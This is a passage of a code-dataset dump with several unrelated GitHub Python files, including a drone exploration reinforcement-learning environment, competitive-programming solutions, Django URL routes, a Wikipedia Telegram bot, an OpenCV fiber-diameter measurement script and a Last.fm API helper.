meters\n self.timeStep = timeStep\n self.collectionPts = self.genCollectionPts(self.numCollectionPts)\n\n #CONSTANTS\n self.screen_width=screenWidth\n self.screen_height=screenHeight\n \n # Area coverage\n self.totalArea = self.initTotalArea()\n self.totalAreaWithDrone = np.copy(self.totalArea)\n \n #MAIN LOOP\n if RENDER_PYGAME:\n self.display=Render(len(self.drones),\n len(self.mobilerobots),\n self.drones,\n self.mobilerobots,\n self.collectionPts)\n self.prevCharge = 21.0\n \n def initTotalArea(self):\n # beyond = 0\n # unexplored = 50\n # explored = 255\n # drone pos = 100\n tarea = np.zeros((G_RANGE_X,G_RANGE_Y))\n tarea[G_PADDING:G_RANGE_X-G_PADDING ,\n G_PADDING:G_RANGE_Y-G_PADDING] = 50\n states = self.drones[0].getState()\n x,y = states[0]\n x = int(x//GRID_SZ)\n y = int(y//GRID_SZ)\n tarea[x+G_PADDING, y+G_PADDING] = 255\n return tarea\n \n def initDrones(self, n):\n drones = []\n for i in range(0,n):\n drones.append(Drone())\n return drones\n\n def initMobileRobs(self, n):\n mRobs = []\n for i in range(0,n):\n mRobs.append(MobileRobot())\n return mRobs\n \n def m_to_pix(self,x):\n return (self.screen_width/arenaWidth)*x[0],(self.screen_height/arenaHeight)*x[1]\n \n def m_to_grid(self,pt):\n x,y = pt\n x = int(x//GRID_SZ)\n y = int(y//GRID_SZ)\n return np.asarray([x, y])\n\n def genCollectionPts(self,n):\n resource_list=[]\n for i in range(0,n):\n resource_list.append((random.randint(1, arenaWidth-1),random.randint(1, arenaHeight-1)))\n return resource_list\n \n def reset(self):\n self.drones = self.initDrones(len(self.drones))\n self.mobilerobots = self.initMobileRobs(len(self.mobilerobots))\n self.collectionPts = self.genCollectionPts(self.numCollectionPts)\n self.totalArea = self.initTotalArea()\n self.totalAreaWithDrone = np.copy(self.totalArea)\n if RENDER_PYGAME:\n self.display.reset(self.drones, self.mobilerobots, self.collectionPts)\n \n self.prevCharge = 21.0\n return self.step([0]*len(self.mobilerobots),\n [0]*len(self.drones),\n [False]*len(self.drones))\n \n def getActionSpace(self):\n return [0,1,2,3,4]\n \n def getStateSpace(self):\n localArea = self.getLocalArea(self.mobilerobots[0])\n w, h = localArea.shape\n # descritize area\n stateSpaceSz = w * h\n # drone Pos\n stateSpaceSz += 2\n # Vel Rover\n stateSpaceSz += 2\n # rover pos\n stateSpaceSz += 2\n # charge\n stateSpaceSz += 1\n return stateSpaceSz, w, h, 2, 2, 2, 1\n \n def stepDrones(self, actions, docks):\n # have to decide on the action space\n # waypoints or velocity\n posOut = []\n curChargeDistOut = []\n velOut = []\n isDockOut = []\n done = []\n for drone, action, dock in zip(self.drones, actions, docks):\n vel = np.array([0,0])\n if action == 0:\n pass\n elif action == 1:\n vel[1] = 1\n elif action == 2:\n vel[0] = -1\n elif action == 3:\n vel[1] = -1\n elif action == 4:\n vel[0] = 1\n drone.setParams(vel,dock)\n drone.updateState(self.mobilerobots[0].getState()[0], self.timeStep)\n curState = drone.getState()\n posOut.append(curState[0])\n velOut.append(curState[1])\n curChargeDistOut.append(curState[3])\n isDockOut.append(curState[4])\n done.append(curState[3] <= 0)\n return posOut, velOut, curChargeDistOut, isDockOut, done\n \n def stepMobileRobs(self, actions):\n posOut = []\n velOut = []\n for mr, action in zip(self.mobilerobots, actions):\n vel = np.array([0,0])\n if action == 0:\n pass\n elif action == 1:\n vel[1] = 1\n elif action == 2:\n vel[0] = -1\n elif action == 3:\n vel[1] = -1\n elif action == 4:\n vel[0] = 1\n mr.setParams(vel)\n mr.updateState(self.timeStep)\n curState = mr.getState()\n posOut.append(curState[0])\n velOut.append(curState[1])\n return posOut, velOut\n \n def step(self, mrActions, droneActions, docks):\n mrPos, mrVel = self.stepMobileRobs(mrActions)\n dronePos, droneVel, droneCharge, dock, done = self.stepDrones(droneActions, docks)\n reward = self.getReward()\n self.updateArea()\n localArea = [self.getLocalArea(mr) for mr in self.mobilerobots]\n return [self.m_to_grid(i) for i in mrPos], \\\n mrVel, \\\n localArea, \\\n [self.m_to_grid(i) for i in dronePos], \\\n droneVel, \\\n droneCharge, \\\n dock, \\\n reward, \\\n done\n \n def checkClose(self):\n if RENDER_PYGAME:\n return self.display.check()\n else:\n return False\n\n def render(self):\n if RENDER_PYGAME:\n self.display.render(self.drones,self.mobilerobots, self.totalAreaWithDrone)\n \n def getLocalArea(self,mr):\n x, y = mr.getState()[0]\n x = int(x//GRID_SZ)\n y = int(y//GRID_SZ)\n s = int((G_LOCAL-1)/2)\n return self.totalAreaWithDrone[x+G_PADDING-s : x+G_PADDING+s+1,\n y+G_PADDING-s : y+G_PADDING+s+1]\n \n def updateArea(self):\n for drone in self.drones:\n x,y =drone.getState()[0]\n x = int(x//GRID_SZ)\n y = int(y//GRID_SZ)\n self.totalArea[x+G_PADDING, y+G_PADDING] = 255\n self.totalAreaWithDrone = np.copy(self.totalArea)\n self.totalAreaWithDrone[x+G_PADDING, y+G_PADDING] = 100 \n # add obstacles\n cx = int(arenaWidth//2//GRID_SZ) + G_PADDING\n cy = int(arenaHeight//2//GRID_SZ) + G_PADDING\n self.totalAreaWithDrone[cx - 2, cy - 3 : cy - 1] = 200\n self.totalAreaWithDrone[cx - 3 : cx - 1, cy - 2] = 200\n \n self.totalAreaWithDrone[cx + 2, cy + 1 : cy + 3] = 200\n self.totalAreaWithDrone[cx + 1 : cx + 3, cy + 2] = 200\n \n self.totalAreaWithDrone[cx - 2, cy + 1 : cy + 3] = 200\n self.totalAreaWithDrone[cx - 3 : cx - 1, cy + 2] = 200\n \n self.totalAreaWithDrone[cx + 2, cy - 3 : cy - 1] = 200\n self.totalAreaWithDrone[cx + 1 : cx + 3, cy - 2] = 200\n \n # add wall\n self.totalAreaWithDrone[cx - 30 : cx + 30 , cy - 30] = 200\n self.totalAreaWithDrone[cx - 30 : cx + 30 , cy + 30] = 200\n self.totalAreaWithDrone[cx - 30 , cy - 30 : cy + 30] = 200\n self.totalAreaWithDrone[cx + 30 , cy - 30 : cy + 30] = 200\n \n\n\n def getReward(self):\n reward = []\n for drone in self.drones:\n states = drone.getState()\n x,y = states[0]\n x = int(x//GRID_SZ)\n y = int(y//GRID_SZ)\n \n rem_charge = states[3]\n l1_dist2par = states[-1]\n c_d = MAX_CHARGE - rem_charge\n \n if self.totalArea[x+G_PADDING, y+G_PADDING] == 50:\n # unexplored region => new area \n new_area = 5\n elif self.totalArea[x+G_PADDING, y+G_PADDING] == 255:\n # explored region => old area\n new_area = -5\n else:\n new_area = 0\n \n if self.totalAreaWithDrone[x+G_PADDING, y+G_PADDING] == 200:\n # obstacle\n# print(\"obs\")\n obs = -1000\n else:\n obs = 0\n \n r = new_area + obs\n\n reward.append(r)\n return reward \n\n\n\n","repo_name":"amrish1222/multiAgentExploration_collection","sub_path":"source/env.py","file_name":"env.py","file_ext":"py","file_size_in_byte":8834,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"11172607176","text":"# 하다 말았음. -> 다시 풀기 \n\ndef check_gems(dic):\n for gem, cnt in dic:\n if cnt==0:\n return False\n return True\n\ndef solution(gems):\n# 전체 보석의 종류 수 cnt\n gem_cnt = set(gems)\n p1 = 0\n p2 = 0\n \n# 딕셔너리 만들기\n # {'SAPPHIRE': 0, 'DIA': 0, 'EMERALD': 0, 'RUBY': 0}\n \n while p1<=p2:\n cur_cnt = len(set(gems[p1:p2+1]))\n if cur_cnt == len(gem_cnt):\n dic = {gem : 0 for gem in set(gems[p1:p2+1])}\n for gem, cnt in dic:\n for gem in gems[p1:p2+1]:\n dic[gem]+=1\n if check_gems(dic):\n # p1을 늘려도 보석의 unique 갯수가 똑같으면 p1을 늘려도 됨\n\n while True:\n if cur_cnt == len(set(gems[p1+1:p2+1])):\n p1+=1\n else:\n break\n \n return [p1,p2]\n p2+=1\n \n ","repo_name":"b2s-study/ps-study-step1","sub_path":"Programmers/gwcat0506/보석 쇼핑.py","file_name":"보석 쇼핑.py","file_ext":"py","file_size_in_byte":979,"program_lang":"python","lang":"ko","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"23404405831","text":"from __future__ import print_function\nimport unittest\nimport sys\nimport math\n\nsin = '''5\n2 2\n2 1\n2 4\n2 1 1 6\n10 4\n25 20 9 100\n1 4\n1 1 1 1\n4 3\n8 12 13'''\n\ndef err(*msgs, **argv):\n print(*msgs, file=sys.stderr, **argv)\n\ndef getMax(A, m):\n if A == 1:\n return 10 ** 7\n result = int(math.ceil(math.log(1.0 * m / (A - 1), 2)))\n return result\n\n\ndef solveCase(A, N, motes):\n motes = sorted(motes)\n count = 0\n upper = len(motes)\n for i in range(len(motes)):\n m = motes[i]\n if A > m:\n A += m\n continue\n MAX = getMax(A, m)\n if MAX <= len(motes) - i:\n A = (2 ** MAX) * (A - 1) + 1 + m\n err('MAX', MAX, 'A is now', A)\n count += MAX\n else:\n err('remove', m)\n count += 1\n if count > upper:\n count = upper\n return count\n\ndef solveAll(s):\n it = iter(s.split('\\n'))\n T = int(it.next())\n for i in range(T):\n A, N = map(int, it.next().split(' '))\n motes = map(int, it.next().split(' '))\n assert len(motes) == N\n # Add the additional last vines with l=0\n yield('Case #%s: %s' % (i + 1, solveCase(A, N, motes)))\n\ndef test():\n #print('\\n'.join(solveAll(sin)))\n #print(solveCase(2, 4, [2,1,1,6]))\n #print(solveCase(10, 4, [25, 20, 9, 100]))\n print(solveCase(4, 3, [8, 12, 13, 200]))\n\nif __name__ == '__main__':\n if 'test' in sys.argv[1:]:\n test()\n sys.exit(0)\n print('\\n'.join(solveAll(open('alarge.in').read())))\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_123/439.py","file_name":"439.py","file_ext":"py","file_size_in_byte":1522,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"24754384964","text":"'''\nA typical problem with Trie.\nThe tricky part is that you not only should have a good command of Trie but also should fully understand recursive methods.\n'''\n\nclass Trie:\n def __init__(self):\n self.children = collections.defaultdict(Trie)\n self.isWord = False \n \nclass WordDictionary:\n\n def __init__(self):\n \"\"\"\n Initialize your data structure here.\n \"\"\"\n self.trietree = Trie()\n \n\n def addWord(self, word: str) -> None:\n \"\"\"\n Adds a word into the data structure.\n \"\"\"\n node = self.trietree\n for c in word:\n node = node.children[c]\n node.isWord = True\n \n\n def search(self, word: str) -> bool:\n \"\"\"\n Returns if the word is in the data structure. A word could contain the dot character '.' to represent any one letter.\n \"\"\"\n def helper(word, node):\n if not word and node.isWord:\n return True\n for i, c in enumerate(word):\n if c == '.':\n for child in node.children:\n if helper(word[i+1: ], node.children[child]):\n return True\n return False\n else:\n if c in node.children:\n return helper(word[i+1: ], node.children[c])\n else:\n return False\n \n return helper(word, self.trietree)\n","repo_name":"zhs2326/leetcode","sub_path":"leetcode_211.py","file_name":"leetcode_211.py","file_ext":"py","file_size_in_byte":1481,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"42874625768","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Aug 7 13:26:30 2019\n\n@author: konstantinos\na script to check the [item for sublist in raux for item in sublist]\n\"\"\"\nimport numpy as np\nr0=np.array([1,2,3,4,5])\nraux=[] \nind=[1,2,3]\nraux.append(r0[ind]) \nr_flat= [item for sublist in raux for item in sublist]\nprint(r_flat)\n\n\"\"\"question la4: What is the purpose of this routine?\"\"\"","repo_name":"lalcayag/repo_research_immersion","sub_path":"ppiscanprocess/itemforsublist.py","file_name":"itemforsublist.py","file_ext":"py","file_size_in_byte":403,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"13392535186","text":"from django.urls import path\nfrom .views import (ProjectsAPI,\n ContributorsAPI,\n IssueAPI,\n CommentAPI)\n\n\nProjects_list = ProjectsAPI.as_view({\n 'post': 'create',\n 'get': 'list',\n})\nProjects_detail = ProjectsAPI.as_view({\n 'get': 'retrieve',\n 'put': 'update',\n 'patch': 'partial_update',\n 'delete': 'destroy'\n})\nContributors_list = ContributorsAPI.as_view({\n 'post': 'create',\n 'get': 'list',\n})\nContributors_detail = ContributorsAPI.as_view({\n 'delete': 'destroy'\n})\nIssues_list = IssueAPI.as_view({\n 'post': 'create',\n 'get': 'list'\n})\nIssues_detail = IssueAPI.as_view({\n 'put': 'update',\n 'delete': 'destroy'\n})\nComments_list = CommentAPI.as_view({\n 'post': 'create',\n 'get': 'list'\n})\nComments_detail = CommentAPI.as_view({\n 'get': 'retrieve',\n 'delete': 'destroy',\n 'put': 'update',\n})\nurlpatterns = [\n path('', Projects_list, name='projets-list'),\n path('/', Projects_detail, name='projets-detail'),\n path('/users/', Contributors_list, name='contributors-list'),\n path('/users//', Contributors_detail, name='contributors-detail'),\n path('/issues/', Issues_list, name='issues-list'),\n path('/issues//', Issues_detail, name='issues-detail'),\n path('/issues//comments/', Comments_list, name='comments-list'),\n path('/issues//comments//', Comments_detail, name='comments-detail'),\n]\n\n","repo_name":"JulienC-Dev/P10_Python_Django_Rest_App","sub_path":"projet10/softdesk/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1596,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"24085459967","text":"import telebot, wikipedia, re\nbot = telebot.TeleBot('TOKEN')\n\nwikipedia.set_lang(\"ru\")\n\ndef getwiki(s):\n try:\n ny = wikipedia.page(s)\n wikitext=ny.content[:1000]\n wikimas=wikitext.split('.')\n wikimas = wikimas[:-1]\n wikitext2 = ''\n for x in wikimas:\n if not('==' in x):\n if(len((x.strip()))>3):\n wikitext2=wikitext2+x+'.'\n else:\n break\n wikitext2=re.sub('\\([^()]*\\)', '',wikitext2)\n wikitext2=re.sub('\\([^()]*\\)', '',wikitext2)\n wikitext2=re.sub('\\([^()]*\\)', '',wikitext2)\n return wikitext \n except Exception as e:\n return 'По данному запросу информации в википедии не найдено'\n\n@bot.message_handler(commands=[\"start\"])\ndef start(m, res=False):\n bot.send_message(m.chat.id, 'Отправьте любое слово')\n\n@bot.message_handler(content_types=[\"text\"])\ndef handler_text(message):\n bot.send_message(message.chat.id, getwiki(message.text))\n\nbot.polling(none_stop=True, interval=0)\n\n\n","repo_name":"GGG09/WIKIPEDIA-BOT","sub_path":"bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":1106,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"17754343216","text":"competitions1 = [\n [\"HTML\", \"C#\"],\n [\"C#\", \"Python\"],\n [\"Python\", \"HTML\"]\n]\nresults1 = [0, 0, 1]\nexpected1 = \"Python\"\n\ncompetitions2 = [\n [\"HTML\", \"Java\"],\n [\"Java\", \"Python\"],\n [\"Python\", \"HTML\"]\n]\nresults2 = [0, 1, 1]\nexpected2 = \"Java\"\n\ncompetitions3 = [\n [\"HTML\", \"Java\"],\n [\"Java\", \"Python\"],\n [\"Python\", \"HTML\"],\n [\"C#\", \"Python\"],\n [\"Java\", \"C#\"],\n [\"C#\", \"HTML\"]\n]\nresults3 = [0, 1, 1, 1, 0, 1]\nexpected3 = \"C#\"\n\ncompetitions4 = [\n [\"HTML\", \"Java\"],\n [\"Java\", \"Python\"],\n [\"Python\", \"HTML\"],\n [\"C#\", \"Python\"],\n [\"Java\", \"C#\"],\n [\"C#\", \"HTML\"],\n [\"SQL\", \"C#\"],\n [\"HTML\", \"SQL\"],\n [\"SQL\", \"Python\"],\n [\"SQL\", \"Java\"]\n]\nresults4 = [0, 1, 1, 1, 0, 1, 0, 1, 1, 0]\nexpected4 = \"C#\"\n\ncompetitions5 = [\n [\"Bulls\", \"Eagles\"]\n]\nresults5 = [1]\nexpected5 = \"Bulls\"\n\n# dont overcomplicate this problem - john\n# this is not a problem on free leetcode (is a problem from algo expert or on the paid version of leetcode)\n# does not have a video but its not to complicated\n\n\ndef tournamentWinner(competitions, results):\n i = 0\n obj = {}\n winner = \"\"\n while i < len(competitions):\n if results[i] == 0:\n match = competitions[i][1]\n else:\n match = competitions[i][0]\n if match not in obj:\n obj[match] = 3\n else:\n obj[match] += 3\n if winner == \"\" or obj[winner] < obj[match]:\n winner = match\n i += 1\n return winner;\n\n\nprint(tournamentWinner(competitions1, results1))\nprint(\"-------------------\")\nprint(tournamentWinner(competitions2, results2))\nprint(\"-------------------\")\nprint(tournamentWinner(competitions3, results3))\nprint(\"-------------------\")\nprint(tournamentWinner(competitions4, results4))\nprint(\"-------------------\")\nprint(tournamentWinner(competitions5, results5))\n","repo_name":"JeffreyAes/Algos","sub_path":"Week_2/Day_2/tournamentWinner.py","file_name":"tournamentWinner.py","file_ext":"py","file_size_in_byte":1847,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"21769924045","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Fri Sep 24 12:46:44 2021\r\n\r\n@author: po-po\r\n\"\"\"\r\n\r\nimport cv2\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nimport time\r\nimport pandas as pd\r\nfrom im2D import *\r\n\r\n# Create a VideoCapture object and read from input file\r\n# If the input is the camera, pass 0 instead of the video file name\r\nfilename = r'C:\\Users\\po-po\\Desktop\\DOC\\Fibras\\validation_cases\\videos\\e05dr5rt120.avi'\r\ncap = cv2.VideoCapture(filename)\r\n\r\n# Check if camera opened successfully\r\nif (cap.isOpened()== False): \r\n print(\"Error opening video stream or file\")\r\n \r\n#initialize time to display diameter\r\nt0 = time.time()\r\ni = 0\r\n\r\n#create empty array for diameter saving\r\ndiam_arr = np.zeros((1000000,2))\r\n\r\n#initialize graphic windows\r\ncv2.namedWindow('Processed Frame')\r\ncv2.namedWindow('Lined Feed')\r\n\r\n#define empty function for trackbars\r\ndef nothing(x):\r\n pass\r\n\r\n#iniatilize trackbar for P parameter\r\ncv2.createTrackbar('P Selector','Processed Frame',8,100,nothing)\r\n\r\n#initialize trackbar for array saving\r\ncv2.createTrackbar('Save Array','Lined Feed',0,1,nothing)\r\n\r\n# Read until video is completed\r\n\r\nwhile(cap.isOpened()):\r\n # Capture frame-by-frame\r\n ret, frame = cap.read()\r\n \r\n if ret == True:\r\n\r\n # Display the resulting frame\r\n orgimg = frame\r\n img = frame\r\n\r\n #image thresholding\r\n P = cv2.getTrackbarPos('P Selector', 'Processed Frame');\r\n \r\n coord,edgesblur = im2D(img,P)\r\n coord = coord.astype(int)\r\n \r\n for i in range(len(coord)):\r\n \r\n cv2.line(edgesblur,(coord[i][0],coord[i][1]),(coord[i][2],coord[i] [3]),(255,255,255),1)\r\n \r\n #add center line of fiber diameter \r\n x3 = int(len(img[0])/2)\r\n y3 = int((coord[0][1]+coord[0][3])/2)\r\n y4 = int((coord[1][1]+coord[1][3])/2) \r\n cv2.line(img,(x3,y3),(x3,y4),(0,0,255),2)\r\n \r\n #compute fiber diameter and show\r\n \r\n fiber_diam_pixels = (y3-y4)\r\n fiber_diam_micras = str(np.round(203/464 * fiber_diam_pixels, decimals = 0))\r\n cv2.putText(img,'Fiber Diameter = %s micron'% fiber_diam_micras, (50,1000),cv2.FONT_HERSHEY_SIMPLEX,2,(0,0,255),2)\r\n #cv2.putText(img,'e05dr5rt120', (50,50),cv2.FONT_HERSHEY_SIMPLEX,2,(0,0,255),2)\r\n \r\n #save fiber diameter to array if saved array flag is 1\r\n save_flag = cv2.getTrackbarPos('Save Array', 'Lined Feed');\r\n \r\n if save_flag == 1:\r\n \r\n diam_arr[i,0] = time.time()-t0\r\n diam_arr[i,1] = fiber_diam_micras\r\n i += 1\r\n if i == len(diam_arr):\r\n i = 0\r\n \r\n # resize images and show\r\n \r\n scale = 50\r\n rszx = int(img.shape[1]*scale/100)\r\n rszy = int(img.shape[0]*scale/100)\r\n \r\n imgrsz = cv2.resize(img, (rszx,rszy))\r\n edgesrsz = cv2.resize(edgesblur, (rszx, rszy))\r\n framersz = cv2.resize(frame, (rszx, rszy))\r\n \r\n cv2.imshow('Processed Frame',edgesrsz)\r\n cv2.imshow('Lined Feed',imgrsz)\r\n \r\n # Press Q on keyboard to exit\r\n if cv2.waitKey(10) & 0xFF == ord('q'):\r\n break\r\n \r\n \r\n # Press P on keyboard to pause\r\n if cv2.waitKey(100) & 0xFF == ord('p'):\r\n cv2.waitKey(5000)\r\n \r\n \r\n # Break the loop\r\n else: \r\n break\r\n\r\n# When everything done, release the video capture object\r\ncap.release()\r\n\r\n# Closes all the frames\r\ncv2.destroyAllWindows()\r\n\r\n\r\n#delete 0 values from array and transform to pandas dataframe\r\nmod_diam_arr = diam_arr[diam_arr[:,1] != 0]\r\nclean_arr = pd.DataFrame(data = mod_diam_arr, columns = ['Time','Diameter'])\r\n\r\n#perform rolling average on pandas dataframe of clean data\r\ninterval = 25\r\n\r\nclean_arr['Average'] = clean_arr['Diameter'].rolling(window = interval, center = True, min_periods = 1).mean()\r\nclean_arr['Std'] = clean_arr['Diameter'].rolling(window = interval, center = True, min_periods = 1).std()\r\n\r\nclean_arr['Clean'] = clean_arr.Diameter[(clean_arr['Diameter'] >= clean_arr['Average']-clean_arr['Std']) & (clean_arr['Diameter'] <= clean_arr['Average']+clean_arr['Std'])]\r\nclean_arr['Dirty'] = clean_arr.Diameter[(clean_arr['Diameter'] <= clean_arr['Average']-clean_arr['Std']) | (clean_arr['Diameter'] >= clean_arr['Average']+clean_arr['Std'])]\r\n\r\n#plot diameter array\r\nplt.plot(clean_arr['Time'],clean_arr['Dirty'],'rx')\r\nplt.plot(clean_arr['Time'],clean_arr['Clean'],'kx')\r\nplt.plot(clean_arr['Time'],clean_arr['Average'],'b-')\r\nplt.plot(clean_arr['Time'],clean_arr['Average']-clean_arr['Std'],'r--')\r\nplt.plot(clean_arr['Time'],clean_arr['Average']+clean_arr['Std'],'r--')\r\nplt.show()\r\n\r\n#save array to csv, plot file\r\n\r\nfilename = input('Input filename: ')\r\nclean_arr.to_csv('%s.csv'%filename)\r\nplt.savefig(filename+'_plot.jpg')\r\n","repo_name":"pablooterojorge/eq1fa2","sub_path":"standalone codes/edges_video_function.py","file_name":"edges_video_function.py","file_ext":"py","file_size_in_byte":4615,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"41351943203","text":"import config\nfrom hashlib import md5\nimport urlparse, simplejson\nfrom google.appengine.api import urlfetch\nimport random\n\ndef parse_qs(qs):\n result = dict()\n for pair in qs.split('&'):\n sep = pair.split('=')\n result [ sep[0] ] = sep[1]\n return result\n\ndef makesig(url = None, params = None):\n #Making an ordered dictionnary of query parameters for the URL\n if url != None:\n dic = parse_qs( urlparse.urlparse(url).query )\n elif params != None:\n dic = params\n try:\n dic.pop('format')\n except:\n pass\n result = str()\n for key in sorted(dic): #While sorting the dictionnary alphabetically\n #Append each pair included in dictionnary\n result = result + key + str(dic[key])\n\n result = result + config.lastfm['Secret'] #Appending Secret API Key\n #Hashing the string with MD5\n hashobject = md5()\n hashobject.update(result)\n result = hashobject.hexdigest()\n return result\n\ndef appendsig(url):\n sig = makesig(url)\n return url + '&api_sig=' + sig\n\ndef jsonfetch(url, payload = None, method = urlfetch.GET):\n error = 0\n ok = False\n while ok == False and error < 3:\n try:\n data = urlfetch.fetch(url, payload = payload, method = method).content\n ok = True\n except:\n error = error + 1\n if ok == True:\n return simplejson.loads(data)\n else:\n return None\n\ndef unicodeparser(dic):\n for key in dic.keys():\n dic[key] = dic[key].encode('utf-8')\n return dic\n\nclass Token:\n def __init__(self, length=50, capitals = True):\n self.length = length\n self.token = str()\n self.capitals = capitals\n self.iterator = 0\n \n def genLetter(self):\n letter = random.choice('abcdefghijklmnopqrstuvwxyz')\n if self.capitals == True:\n if random.randint(0, 1) == 1:\n letter = letter.capitalize()\n return letter\n \n def genInt(self):\n return random.randint(0,9)\n \n def make(self):\n while self.iterator != self.length:\n if random.randint(0, 1) == 1:\n char = self.genInt()\n else:\n char = self.genLetter()\n char = str(char)\n self.token = self.token + char\n self.iterator = self.iterator + 1\n \n return self.token","repo_name":"hugoatease/lastfmerge-ws","sub_path":"common.py","file_name":"common.py","file_ext":"py","file_size_in_byte":2394,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23574204011","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\n@author: jmzhao\r\nGCJ 2017 Qualification Round\r\n\"\"\"\r\n\r\nfrom itertools import chain, product\r\nimport sys\r\n\r\nclass IO :\r\n def get(reader=str) :\r\n return reader(input().strip())\r\n def gets(reader=str, delim=None) :\r\n return [reader(x) for x in input().strip().split(delim)]\r\n def tostr(raw, writer=str, delim=' ') :\r\n return delim.join(writer(x) for x in raw)\r\n\r\ndef prework(argv):\r\n '''do something according to argv,\r\n return a message describing what have been done.'''\r\n pass\r\n\r\n\r\ndef once():\r\n '''to cope once\r\n return the answer to be printed'''\r\n n, m = IO.gets(int)\r\n a = [['.'] * n for _ in range(n)]\r\n for _ in range(m) :\r\n char, r, c = IO.gets()\r\n r, c = int(r) - 1, int(c) - 1\r\n a[r][c] = char\r\n\r\n x_r, x_c = set(), set()\r\n p_m, p_p = set(), set()\r\n for i in range(n) :\r\n for j in range(n) :\r\n if a[i][j] in 'xo' :\r\n x_r.add(i)\r\n x_c.add(j)\r\n if a[i][j] in '+o' :\r\n p_m.add(i - j)\r\n p_p.add(i + j)\r\n \r\n b = [[a[i][j] for j in range(n)] for i in range(n)]\r\n unused_c = [c for c in range(n) if c not in x_c]\r\n for r in range(n) :\r\n if r not in x_r :\r\n c = unused_c.pop()\r\n assert b[r][c] in '.+'\r\n b[r][c] = 'x' if b[r][c] in '.' else 'o'\r\n for m in chain(range(- (n - 1), 0), reversed(range(n))) :\r\n if m not in p_m :\r\n for p in range(max(m, -m), 2 * (n - 1) + min(m, -m) + 1) :\r\n if (p + m) % 2 == 0 and p not in p_p :\r\n p_p.add(p)\r\n r = (p + m) // 2\r\n c = (p - m) // 2\r\n assert b[r][c] in '.x'\r\n b[r][c] = '+' if b[r][c] in '.' else 'o'\r\n break\r\n \r\n res = [(b[i][j], i+1, j+1) for i, j in product(range(n), range(n)) if b[i][j] != a[i][j]]\r\n \r\n score_chart = {'.' : 0, '+' : 1, 'x' : 1, 'o' : 2}\r\n score = sum(score_chart[b[i][j]] for i, j in product(range(n), range(n)))\r\n \r\n return score, res\r\n\r\ndef show(ans) :\r\n score, res = ans\r\n return (\"%d %d\"%(score, len(res))\r\n + ('\\n' if len(res) > 0 else '')\r\n + '\\n'.join(\"%s %d %d\"%t for t in res))\r\n \r\ndef printerr(*v):\r\n print(*v, file=sys.stderr)\r\n\r\ndef main():\r\n TT = IO.get(int)\r\n for tt in range(1,TT+1):\r\n printerr(\"coping Case %d..\"%(tt))\r\n ans = once()\r\n print(\"Case #%d: %s\"%(tt, show(ans)))\r\n\r\nif __name__ == '__main__' :\r\n msg = prework(sys.argv)\r\n print(\"prework done with\", msg, file=sys.stderr)\r\n main()\r\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_202/147.py","file_name":"147.py","file_ext":"py","file_size_in_byte":2668,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"2650636067","text":"import copy\nimport sys\nimport time\n\nimport numpy\nfrom PyQt5.QtWidgets import QFileDialog, QMessageBox\nfrom PyQt5.QtGui import QTextCursor\nfrom PyQt5.QtCore import QSettings\nfrom orangewidget import gui\nfrom orangewidget.settings import Setting\nfrom oasys.widgets import gui as oasysgui\nfrom oasys.widgets import congruence\nfrom oasys.widgets.gui import ConfirmDialog\n\nfrom oasys.util.oasys_util import EmittingStream, TTYGrabber\n\nfrom orangecontrib.shadow.util.shadow_objects import ShadowBeam\nfrom orangecontrib.shadow.util.shadow_util import ShadowCongruence, ShadowPlot\nfrom orangecontrib.shadow.widgets.gui.ow_automatic_element import AutomaticElement\n\nfrom Shadow.ShadowLibExtensions import CompoundOE\nclass PlotXY(AutomaticElement):\n\n name = \"Plot XY\"\n description = \"Display Data Tools: Plot XY\"\n icon = \"icons/plot_xy.png\"\n maintainer = \"Luca Rebuffi\"\n maintainer_email = \"lrebuffi(@at@)anl.gov\"\n priority = 1\n category = \"Display Data Tools\"\n keywords = [\"data\", \"file\", \"load\", \"read\"]\n\n send_footprint_beam = QSettings().value(\"output/send-footprint\", 0, int) == 1\n\n if send_footprint_beam:\n inputs = [(\"Input Beam\", object, \"setBeam\")]\n else:\n inputs = [(\"Input Beam\", ShadowBeam, \"setBeam\")]\n\n IMAGE_WIDTH = 878\n IMAGE_HEIGHT = 635\n\n want_main_area=1\n plot_canvas=None\n input_beam=None\n\n image_plane=Setting(0)\n image_plane_new_position=Setting(10.0)\n image_plane_rel_abs_position=Setting(0)\n\n x_column_index=Setting(0)\n y_column_index=Setting(2)\n\n x_range=Setting(0)\n x_range_min=Setting(0.0)\n x_range_max=Setting(0.0)\n\n y_range=Setting(0)\n y_range_min=Setting(0.0)\n y_range_max=Setting(0.0)\n\n weight_column_index = Setting(23)\n rays=Setting(1)\n cartesian_axis=Setting(1)\n\n number_of_bins=Setting(100) # for retrocompatibility: I don't change the name\n number_of_bins_v=Setting(100)\n\n title=Setting(\"X,Z\")\n\n autosave = Setting(0)\n autosave_file_name = Setting(\"autosave_xy_plot.hdf5\")\n\n keep_result=Setting(0)\n autosave_partial_results = Setting(0)\n\n is_conversion_active = Setting(1)\n\n cumulated_ticket = None\n plotted_ticket = None\n autosave_file = None\n autosave_prog_id = 